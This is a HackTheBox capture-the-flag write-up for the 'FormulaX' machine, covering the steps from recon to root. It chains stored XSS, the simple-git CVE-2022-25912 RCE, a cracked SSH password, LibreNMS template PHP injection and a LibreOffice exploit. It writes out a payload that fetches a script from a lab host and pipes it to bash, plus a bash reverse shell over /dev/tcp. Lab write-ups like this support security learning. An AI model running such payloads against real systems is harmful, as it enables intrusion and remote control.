FormulaX

Recon

nmap_scan.log

Hosts updated after [[Labs/HackTheBox/Machines/FormulaX/Writeup#Leak Internal User History]]

HTTP (80)

We are redirected to the login page

Writeup.png

Creds: Test02:Test02@test.com:Test02

Dashboard gives us few more options to use application.

Writeup-1.png

XSS

On contact page it is possible to do an XSS. The XSS should have been removed after first request, but it seems to be persistent.

Writeup-2.png

In chat html source we find:

chat.js: http://10.10.11.6/restricted/chat.jsarrow-up-right

The "bot" is using sockets to communicate to backend. In our short chat we see that service is not available to users, but maybe internal users? From Contact Us using XSS we could probably leak the history of internal user!

Writeup-3.png

Leak Internal User History

To make XSS work we need to load our script and socker.io . script tag doesn't work, so we have to use img tag or others. Used https://minify-js.comarrow-up-right to minify the code into one liner.

Writeup-4.png

Git Report Generator

Writeup-5.png

The simple-git v3.14 is vulnerable to CVE-2022-25912: RCEarrow-up-right

Verify via curl:Writeup-6.png

Reverse Shell (www-data)

Piping to sh didn't start the shell, but bash did.

Repo url: ext::sh -c curl% 10.10.16.75/rev|bash Rev: /bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1

Writeup-7.png

We have mongo database password which means we can explore it.

SSH (22)

Privilege Escalation (frank_dorky)

Crack the hash of ssh user frank:

Creds: frank_dorky:manchesterunited

User.txt

Privilege Escalation (librenms)

Enumerate the system with linpeas:

In the processes we see an interesting one, frank is running libreoffice as kai_relay and with sudo permissions.

Writeup-8.png

In the nginx module we see it's ran on port 3000:

Do a port forwarding via SSH:

LibreNMS

Writeup-9.png

The app lives on /opt/librenms, but we don't have permission to list files

Execute (x) permission on a directory allows a user to:

  • Enter the Directory: The user can change into the directory using the cd command.

  • Access Inodes: The user can access the metadata of the files within the directory, but not their content or names unless the file's specific permissions also grant read or execute rights.

Meaning:

  • No Listing (ls): The user cannot list the contents of the directory. Commands like ls will not work. Access by Name: The user can access files and subdirectories within the directory if they know the exact names and have the appropriate permissions on those files or subdirectories.

  • No Creation or Deletion: The user cannot create or delete files in the directory, as write permissions (w) are required for these operations.

Looks like there's adduser.php script which can be used to add users srcarrow-up-right

Add user:

Writeup-10.png

There was some DNS problem, so update localhost to match domain.

It looks like in alert templates we can use blade syntax to write php/html file.

Writeup-11.png

Inject PHP via Blade syntax: https://laravel.com/docs/11.x/blade#raw-phparrow-up-right

Writeup-12.png

Privilege Escalation (kai_relay)

Privilege Escalation (root)

Writeup-13.png
Writeup-14.png

After googling soffice exploits we end up on: https://www.exploit-db.com/exploits/46544arrow-up-right

Catch the shell and gain root.

Root.txt

Last updated